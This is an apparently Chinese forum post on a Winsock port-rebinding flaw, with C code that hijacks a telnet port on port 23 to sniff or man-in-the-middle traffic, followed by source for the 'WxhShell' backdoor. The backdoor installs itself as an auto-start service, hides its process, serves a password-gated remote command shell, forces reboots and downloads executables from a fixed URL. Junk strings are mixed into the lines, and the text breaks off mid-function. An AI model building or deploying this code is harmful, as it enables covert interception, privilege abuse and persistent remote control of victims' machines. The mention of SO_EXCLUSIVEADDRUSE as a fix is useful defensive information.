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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y4V:)@ P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lW bu`y  
G=dzP}B'WA  
  saddr.sin_family = AF_INET; p7h#.m~Qu  
s?SspuV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IRdt:B|@  
+SJ.BmT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); boh?Xt-$  
{4"V)9o-1>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 95DEuReKi  
u8e_Lqx?  
  这意味着什么?意味着可以进行如下的攻击: ~j0rORy]  
3} A$+PX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8v:{BHX  
U ZZJtQt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y(A' *G9  
yPyu)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '<Z[e`/  
yDWIflP0;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cs $5Of(  
]rcF/uQJ<n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?ukw6T  
MB plhVK8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VYyija:  
f60w%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pO]gf$  
yNu_>!Cp5  
  #include !Sq<_TO  
  #include $ /VQsb  
  #include .nV2 n@SR  
  #include    _Hb;)9y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~lj~]j  
  int main() )U^=`* 7  
  { Ob d n#Wm=  
  WORD wVersionRequested; 3f;=#|l  
  DWORD ret; =Q#I@SVp2$  
  WSADATA wsaData; i1iP'`r  
  BOOL val; D0. )%  
  SOCKADDR_IN saddr; _ _Of0<  
  SOCKADDR_IN scaddr;  vSzpx  
  int err; /-=fWtA  
  SOCKET s; {@Wv@H+4  
  SOCKET sc; .6?"<zdPU  
  int caddsize; &$"#hGg  
  HANDLE mt; p6M9uu  
  DWORD tid;   J8|MK.oD  
  wVersionRequested = MAKEWORD( 2, 2 ); UBvp3 2p  
  err = WSAStartup( wVersionRequested, &wsaData ); 'C+cQLig@  
  if ( err != 0 ) { "hkcN+=  
  printf("error!WSAStartup failed!\n"); /qpSmRL  
  return -1;  T:}Q3  
  } Y$'j9bUJ  
  saddr.sin_family = AF_INET; n. %QWhUB  
   sqkWQ`Ur  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mvn- QP~"  
Pz4#>tP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w,{h9f  
  saddr.sin_port = htons(23); blc?[ [,!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;$p!dI\-Q  
  { {gMe<y  
  printf("error!socket failed!\n"); D:P(;  
  return -1;  *7m lH  
  } l{By]S  
  val = TRUE;  F/Goq`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LIg1U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nc[@QC{  
  { yi7.9/;a  
  printf("error!setsockopt failed!\n"); R >xd*A  
  return -1; L*z=!Dpo  
  } ( eV,f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q_mphW:[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *^>"  h@J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1M ?BSH{  
]jT}]9Q$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a~}q]o?j  
  { 0R x#Fm  
  ret=GetLastError(); osC?2.  
  printf("error!bind failed!\n"); F^,:p.ihm<  
  return -1; \w9}O2lL  
  } ZmK=8iN9J  
  listen(s,2); >$Y/B=e  
  while(1) 2mLZ4 r>WE  
  { |}zWH=6  
  caddsize = sizeof(scaddr); 5F kdGF  
  //接受连接请求 v,4{:y]p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !do`OEQKR  
  if(sc!=INVALID_SOCKET) q,v<:sS9T  
  { \ o<ucp\J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =v2 |QuS$  
  if(mt==NULL) SYJO3cY  
  { I0XJ& P%  
  printf("Thread Creat Failed!\n"); m*^)#  
  break; :a wt7lqv  
  } ^*.[b  
  } C qd\n#d/~  
  CloseHandle(mt); <J509j  
  } .}faWzRH9  
  closesocket(s); s5~k]"{j  
  WSACleanup(); G`!x+FB  
  return 0; ]r`;89:s>  
  }   ~${~To8$CW  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0C4eer+D  
  { \,R;  
  SOCKET ss = (SOCKET)lpParam; M}] *j  
  SOCKET sc; IQ&PPC  
  unsigned char buf[4096]; !y_FbJ8KC  
  SOCKADDR_IN saddr; O_QDjxj^rZ  
  long num; {Y~>&B5  
  DWORD val; 0/HFLz'  
  DWORD ret; {4_s:+v0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v[L+PD U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   St5;X&Q  
  saddr.sin_family = AF_INET; [>ghs_?dZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #]h X ."b2  
  saddr.sin_port = htons(23); 6 Bq_<3P_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KL \>-  
  { ~5 6&!4  
  printf("error!socket failed!\n"); 2"&GH1  
  return -1; Pe`mZCd^  
  } 8LV6E5Q  
  val = 100; @i ~A7L0/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y._'o7%  
  { ~'M<S=W  
  ret = GetLastError(); qU26i"GHp  
  return -1; =g+}4P  
  } { ^o.f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /LFuf`bXV  
  { >zJHvb)b\  
  ret = GetLastError(); 8N&' n  
  return -1; /r4l7K  
  } } =OE.cf@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tW/k  
  { * JK0X  
  printf("error!socket connect failed!\n"); ]i {yJ)i  
  closesocket(sc); C0N :z.)4  
  closesocket(ss); <7P[)X_  
  return -1; >/ay'EyY;>  
  } [}szM^  
  while(1) 3ijPm<wn  
  { 1L,L/sOwB&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :M(uP e=D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [9sEc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A}ZZQ  
  num = recv(ss,buf,4096,0); g8O6 b  
  if(num>0) 5G355 ,}E  
  send(sc,buf,num,0); -nS f<  
  else if(num==0) }Xj25` x  
  break; L-+g`  
  num = recv(sc,buf,4096,0); nI6 gd%C  
  if(num>0) {+9RJmZg  
  send(ss,buf,num,0); ?^voA.Bv<  
  else if(num==0) :)1"yo\  
  break; X['9;1Xr  
  } NQ`D"n  
  closesocket(ss); +W4}&S  
  closesocket(sc); 3(c-o0M  
  return 0 ; Mj;V.Y  
  } 1<ag=D`F_"  
F! !HwI  
* zp tbZ  
========================================================== UDEGQ^)Xz|  
Ef]Hpjvp  
下边附上一个代码,,WXhSHELL oPi>]#X  
^}+\52w  
========================================================== 7}&:07U  
-leX|U}k  
#include "stdafx.h" .D W>c}1  
! JA;0[;l=  
#include <stdio.h> BpIyw  
#include <string.h> uG\~Hxqw7O  
#include <windows.h> 2j+w5KvU  
#include <winsock2.h> \:;MFG'  
#include <winsvc.h> k|-\[Yl.  
#include <urlmon.h> ~/G)z?+E  
D;+/ bll7  
#pragma comment (lib, "Ws2_32.lib") V|u2(*  
#pragma comment (lib, "urlmon.lib") .?{no}u.  
h]<S0/  
#define MAX_USER   100 // 最大客户端连接数 yz68g?"  
#define BUF_SOCK   200 // sock buffer `/sNX<mp  
#define KEY_BUFF   255 // 输入 buffer -$8ew+  
P3"R2-  
#define REBOOT     0   // 重启 e \Qys<2r  
#define SHUTDOWN   1   // 关机 9[qOfIny  
J];Sj  
#define DEF_PORT   5000 // 监听端口 ?I?G+(bq  
^xHKoOTj[  
#define REG_LEN     16   // 注册表键长度 | In{5E k  
#define SVC_LEN     80   // NT服务名长度 vx9!KWy}  
jZ.yt+9  
// 从dll定义API XO]^+'U}p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W'4/cO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Od%Jhtt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yX!fj\R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4vg3F(   
*duG/?>P  
// wxhshell配置信息 J2qsZ  
struct WSCFG { _9>,9aL  
  int ws_port;         // 监听端口 ins(RWO  
  char ws_passstr[REG_LEN]; // 口令 RQ E]=N  
  int ws_autoins;       // 安装标记, 1=yes 0=no Aits<0  
  char ws_regname[REG_LEN]; // 注册表键名 Gj?Zbl <  
  char ws_svcname[REG_LEN]; // 服务名 g}%ODa !H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U =J5lo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z)T-<zWO;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4.,EKw3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ K?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9p8ajlYg,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _&l8^MD  
jV2H61d  
}; N1'"7eg/  
!*v% s  
// default Wxhshell configuration  J#` 7!  
struct WSCFG wscfg={DEF_PORT, $$ND]qM$M  
    "xuhuanlingzhe", W5u5!L/  
    1, ~);4O8~.  
    "Wxhshell", [R4# bl  
    "Wxhshell", W|2^yO,dX  
            "WxhShell Service", ]KuM's  
    "Wrsky Windows CmdShell Service", +nR("Il  
    "Please Input Your Password: ", LGL;3EI  
  1, P8c_GEna  
  "http://www.wrsky.com/wxhshell.exe", @_`r*Tb)dM  
  "Wxhshell.exe" FJ84 'T\~  
    }; |&@q$d  
eP~3m  
// 消息定义模块 $R}C(k ;?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4PVg?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZJ{DW4#t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3@=<4$  
char *msg_ws_ext="\n\rExit."; b]]k\b  
char *msg_ws_end="\n\rQuit."; +(Y\w^@%H  
char *msg_ws_boot="\n\rReboot..."; .45wwouZkc  
char *msg_ws_poff="\n\rShutdown..."; !po,Z&  
char *msg_ws_down="\n\rSave to "; DAq H  
#w L(<nE  
char *msg_ws_err="\n\rErr!"; ;d<XcpK}  
char *msg_ws_ok="\n\rOK!"; n`= S&oKH  
%# uw8V  
char ExeFile[MAX_PATH]; k?h{ 6Qd  
int nUser = 0; >IQ&*Bb  
HANDLE handles[MAX_USER]; :(enaHn#~  
int OsIsNt; |6NvByc,  
 5V<6_o  
SERVICE_STATUS       serviceStatus; Q+f |.0r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &K]|{1+  
IRM jL.q  
// 函数声明 Vc'p+e|(  
int Install(void); ~6#mVP5sU)  
int Uninstall(void); @d Qr^'h  
int DownloadFile(char *sURL, SOCKET wsh); > X  AB#  
int Boot(int flag); cMi9 Z]  
void HideProc(void); o,k#ft<  
int GetOsVer(void); 5M\0t\uEn  
int Wxhshell(SOCKET wsl); IO #)r[JZ  
void TalkWithClient(void *cs); 5%S5*c6BD  
int CmdShell(SOCKET sock); ruqE]Hx9(  
int StartFromService(void); QPVr:+\B{  
int StartWxhshell(LPSTR lpCmdLine); [ 2@Lc3<  
lU|ltnU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nj6Np^@sH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aJm5`az)  
-C^qN7Bz  
// 数据结构和表定义 &>B|?d  
SERVICE_TABLE_ENTRY DispatchTable[] = Q3lVx5G>4  
{ Bptt"  
{wscfg.ws_svcname, NTServiceMain}, xG~-.  
{NULL, NULL} Ct /6<  
}; j5Yli6r?3-  
$.DD^ "9  
// 自我安装 fR.raI4et  
int Install(void) )P1NX"A  
{ F`Vp   
  char svExeFile[MAX_PATH]; unL1/JY z  
  HKEY key; d{!zJ+n  
  strcpy(svExeFile,ExeFile); 5NSXSR9c  
pfim*\'  
// 如果是win9x系统,修改注册表设为自启动 EI9Yv>7d{  
if(!OsIsNt) { i\36 s$\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #l2WRw_t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VAxk?P0j6  
  RegCloseKey(key); 0g#?'sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iEFS>kL8e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >fR#U"KPAB  
  RegCloseKey(key); AM gvk`<f  
  return 0; y(#F&^|  
    } JvUHoc$sI  
  } 7f=9(Zj  
} .>zkS*oX4z  
else { of<>M4/g4y  
CvTgtZ '  
// 如果是NT以上系统,安装为系统服务 CQY/q@7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \;tKss!|  
if (schSCManager!=0) .+AO3~Dg  
{ xcIZ'V  
  SC_HANDLE schService = CreateService ,v1-y ?kB  
  ( Z@iMG  
  schSCManager, 13{"sY:PT#  
  wscfg.ws_svcname, &sA6o"h~  
  wscfg.ws_svcdisp, Ip0@Q}^  
  SERVICE_ALL_ACCESS, +FVcrL@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Lu=16  
  SERVICE_AUTO_START, '*p-`  
  SERVICE_ERROR_NORMAL, cl7+DAE  
  svExeFile, Pq7tNM E  
  NULL, "/XS3s v"s  
  NULL, R}+/jh2O|  
  NULL, /0YNB)  
  NULL, TbU9 < mY  
  NULL <ct{D|mm  
  ); $X&OGTlw^  
  if (schService!=0) SS~Txt75m  
  { S(-=I!.G{  
  CloseServiceHandle(schService); )J88gMk+  
  CloseServiceHandle(schSCManager); 01q7n`o#zf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |]\bgh  
  strcat(svExeFile,wscfg.ws_svcname); u]MF r2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6k3l/~R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Tx_(^K  
  RegCloseKey(key); 17Gdu[E  
  return 0; ng<`2XgU  
    } d<b,LD^  
  } kWz%v  
  CloseServiceHandle(schSCManager); # nYGKZ  
} Yh%wf3 UEO  
} {4m"S 7O  
G =4y!y  
return 1; fY"28#   
} q(p0#Mk,E  
n*6s]iG V  
// 自我卸载 I2DmM"-|  
int Uninstall(void) I~qiF%?d  
{ \j;uN#)28  
  HKEY key; G-(c+6Mn  
R39R$\  
if(!OsIsNt) { xA5$!Oq7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yl 8v&e{  
  RegDeleteValue(key,wscfg.ws_regname); jr l6):x  
  RegCloseKey(key); rlIEch^wZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +?:V\niQI  
  RegDeleteValue(key,wscfg.ws_regname); BD0-v`  
  RegCloseKey(key); &"h!SkX/  
  return 0; $B?7u@>,  
  } .nH /=  
} uY~A0I5Z  
} |\(/dXXP  
else { ^Q,/C8qeb  
*vO'Z &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L K~,  
if (schSCManager!=0) 5#o,]tP  
{ c6m,oS^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `~]ReJ!X%  
  if (schService!=0) ui{_w @o  
  {  :Y3?,  
  if(DeleteService(schService)!=0) { VT7NWT J,  
  CloseServiceHandle(schService); T!a[@,)_  
  CloseServiceHandle(schSCManager); U}0/V c26  
  return 0; k9xKaJ %1  
  } k-e@G'  
  CloseServiceHandle(schService); KxwLKaImI  
  } %nh'F6bNgv  
  CloseServiceHandle(schSCManager); UG_0Y8$  
} lp UtNy  
} *$$V, 6O.  
OJ 5 !+#>  
return 1; (FYJ^o  
} WCu%@hh=h  
rfi`Bp  
// 从指定url下载文件 g:M7/- "  
int DownloadFile(char *sURL, SOCKET wsh) OP}p;(  
{ UYOn p7R<  
  HRESULT hr; _[o^23Hj  
char seps[]= "/"; hob$eWgr  
char *token; 9Ol_z\5  
char *file; =3C)sz}  
char myURL[MAX_PATH]; eBIR *TZ):  
char myFILE[MAX_PATH]; K>6k@okO  
:Qo  
strcpy(myURL,sURL);  0QqzS  
  token=strtok(myURL,seps); +yH~G9u(  
  while(token!=NULL) ONiI:Z>%  
  { mm-UQ\h  
    file=token; u g"<\"  
  token=strtok(NULL,seps); Jk`)`94 I  
  } D#1~]d  
f;H#TSJ  
GetCurrentDirectory(MAX_PATH,myFILE); b_Jq=Gk`  
strcat(myFILE, "\\"); z xUj1  
strcat(myFILE, file); TF-Ty  
  send(wsh,myFILE,strlen(myFILE),0); p30&JJ!~"  
send(wsh,"...",3,0); ]G PJ(+5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~!9Px j*  
  if(hr==S_OK) E2H<{Q   
return 0; O:tX0<6  
else T}Vpy`  
return 1; ?}v%JUcs  
n o+tVm|  
} Wx)U<:^e  
6oh@$.ThG  
// 系统电源模块 cN lY=L  
int Boot(int flag) yUmsE-W  
{ Wo+CQH6(  
  HANDLE hToken; g^$11  
  TOKEN_PRIVILEGES tkp; 'F"Y?y:!  
Ij}F<ZgZG  
  if(OsIsNt) { ~!:Sp_y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F*JvpI[7n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Rd*X6dv  
    tkp.PrivilegeCount = 1; N^( lUba  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s~X*U&}5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,,gLrV k  
if(flag==REBOOT) { _ c ]3nzIr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fb.\V]K  
  return 0; ^h6$> n5  
} EH*ym#Y  
else { ~J>gVg%66  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \y H3Y  
  return 0; t)gi.Ed1"L  
} hdr}!w V  
  }  +iH30v  
  else { }pE~85h4M  
if(flag==REBOOT) { n~)HfY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xPDA475Cw3  
  return 0; f UF;SqT  
} l P$r   
else { u2-@?yt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fQW_YQsb  
  return 0; *M&VqG4P9w  
} _m7U-;G  
} of'ZNQ/  
xa{<R+LR  
return 1; UhSh(E8p>  
} ..]*Ao2  
wHOlj)CZ  
// win9x进程隐藏模块 v=*Bb3dt  
void HideProc(void) c/=y*2,zo  
{ 833 %H`jQc  
O| 1f^_S/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7O+Ij9+{n  
  if ( hKernel != NULL ) C^/ -lc  
  { sArje(5Eo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T1(j l)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C,{F0-D  
    FreeLibrary(hKernel); 7bonOt Y  
  } nrTv=*tDj  
.lvI8Jf~X  
return; Z(Eke  
} =|E 09  
coF T2Pq  
// 获取操作系统版本 ` /I bWu  
int GetOsVer(void) a IpPL8a  
{ VelB-vy&  
  OSVERSIONINFO winfo; llHc=&y#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &0+x2e)7g  
  GetVersionEx(&winfo); TsaW5ho<p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xr?>uqY!M  
  return 1; *?_qE  
  else h_&4p= SQ  
  return 0; w0Fwd  
} :cc[Jco@w  
zBk_-'z  
// 客户端句柄模块 mb0n}I_AC  
int Wxhshell(SOCKET wsl)  2Vp>"  
{ /[a|DUoHO  
  SOCKET wsh; bKk CW  
  struct sockaddr_in client; {q&@nm40  
  DWORD myID; 1@A7h$1P  
mi7sBA9L8  
  while(nUser<MAX_USER) Mn]}s:v  
{ bK3B3r#$  
  int nSize=sizeof(client); O.*jR`l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sA/,+aM  
  if(wsh==INVALID_SOCKET) return 1; $d'CBsu|<  
9v~1We;{$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [O=W>l  
if(handles[nUser]==0) 89zuL18V  
  closesocket(wsh); U r^YG4(  
else KHvIN}V5?3  
  nUser++; 6#<Ir @z  
  } &&;ex9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o;3j:# 3 |  
eh$G.-2N  
  return 0; #hIEEkCp +  
} 1'NhjL  
'.pgXsC:=?  
// 关闭 socket /sy-;JDnsu  
void CloseIt(SOCKET wsh) +Dv7:x7  
{ X*0k>j  
closesocket(wsh); );=Q] >  
nUser--; >f>V5L%1  
ExitThread(0); $h,d? .u6w  
} +<&E3Or  
w{3ycR  
// 客户端请求句柄 +|6`E3j%  
void TalkWithClient(void *cs) jQ6Xr&}  
{ wY/bA}%  
'?5S"??  
  SOCKET wsh=(SOCKET)cs; 5\WUoSgy  
  char pwd[SVC_LEN]; =tq1ogE  
  char cmd[KEY_BUFF]; h{I`7X  
char chr[1]; {o( * f  
int i,j; J2m"1gq,  
byafb+x  
  while (nUser < MAX_USER) { Uls+n@\!  
Hj2<ZL  
if(wscfg.ws_passstr) { @a0Q0M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &I%IaNco  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /N>} 4Ay  
  //ZeroMemory(pwd,KEY_BUFF); `g--QR  
      i=0; sds}bo  
  while(i<SVC_LEN) { (Ux [[  
Apmw6cc  
  // 设置超时 %yfE7UPS]  
  fd_set FdRead; RpYcD  
  struct timeval TimeOut; e9 *lixh  
  FD_ZERO(&FdRead); wqP2Gw7jh6  
  FD_SET(wsh,&FdRead); ;,k=<]  
  TimeOut.tv_sec=8; Fwb5u!_,  
  TimeOut.tv_usec=0; 2 L:$aZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FI$XSG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -G-3q6A  
`;$h'eI9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gX^ PSsp  
  pwd=chr[0]; ;g+]klR!  
  if(chr[0]==0xd || chr[0]==0xa) { n}JPYu  
  pwd=0; Z|I-BPyn  
  break; JGis"e  
  } 5rloK"  
  i++; tb,9a!?  
    } P#MK  
,5{$+  
  // 如果是非法用户,关闭 socket -9d%+O~v6~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z/g]o#  
} WI&lj<*  
doR4nRl9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); epkD*7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H O*YBL  
cS(;Qs]Q  
while(1) { <( EyXV  
DZk1ZLz  
  ZeroMemory(cmd,KEY_BUFF); aCl A{  
nxfoWy  
      // 自动支持客户端 telnet标准   ugLlI2 nJ  
  j=0; y3JMbl[S0  
  while(j<KEY_BUFF) { ;&S;%W>|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8EI:(NE*J  
  cmd[j]=chr[0];  to>  
  if(chr[0]==0xa || chr[0]==0xd) { ),` 8eQC  
  cmd[j]=0; G\kpUdj}  
  break; DpvrMI~I_  
  } t,HFz6   
  j++; .3X Y&6  
    } :o8MUXH$  
U\vY/6;JI  
  // 下载文件 j_GBH8 `  
  if(strstr(cmd,"http://")) { 5FOqv=6S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e.8$ga{  
  if(DownloadFile(cmd,wsh)) ? JXa~.dA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_.n$p-  
  else E ]f)Os$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5k$vlC#[H  
  } pW|u P8#  
  else { HID([Wk  
[Y/:@t"2y  
    switch(cmd[0]) { pj8azFZ  
  f<=Fe:1.  
  // 帮助 yWb4Ify  
  case '?': { q-_' W,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (MLhaux-  
    break; Ia4)uV8  
  } -6C +LbV  
  // 安装 {HrZ4xQnpV  
  case 'i': { (CE7j<j  
    if(Install()) QJBr6   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ap2m  
    else (kw5>c7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_>em*Vb  
    break; $NG++N  
    } NX,-;v  
  // 卸载 c$h9/H=~  
  case 'r': { $/Ov2z  
    if(Uninstall()) g0&\l}&%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.|U=)E  
    else y7lWeBnC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1cC1*c0Z  
    break; 46No%cSiG  
    } Im?LIgt$  
  // 显示 wxhshell 所在路径 r>t1 _b+nu  
  case 'p': { >I'% !E;  
    char svExeFile[MAX_PATH]; ?Bx./t><  
    strcpy(svExeFile,"\n\r"); 3z8C  
      strcat(svExeFile,ExeFile); qJv[MBjk3B  
        send(wsh,svExeFile,strlen(svExeFile),0); bGmx7qt#  
    break; ,r^"#C0J}  
    } S#l5y%&  
  // 重启 F- rQ3  
  case 'b': { PK2~fJB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u8L$]vOg  
    if(Boot(REBOOT)) diT=x52  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2)autBe  
    else { p,W_'?,9  
    closesocket(wsh); r4XH =  
    ExitThread(0); 0C$vS`s&  
    } 01@t~v3!Z  
    break; +OHGn;C  
    } l*=aMjd?  
  // 关机 TnH\O$  
  case 'd': { ,xsH|xW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $)Bg JDr  
    if(Boot(SHUTDOWN)) 9Kv|>#zff  
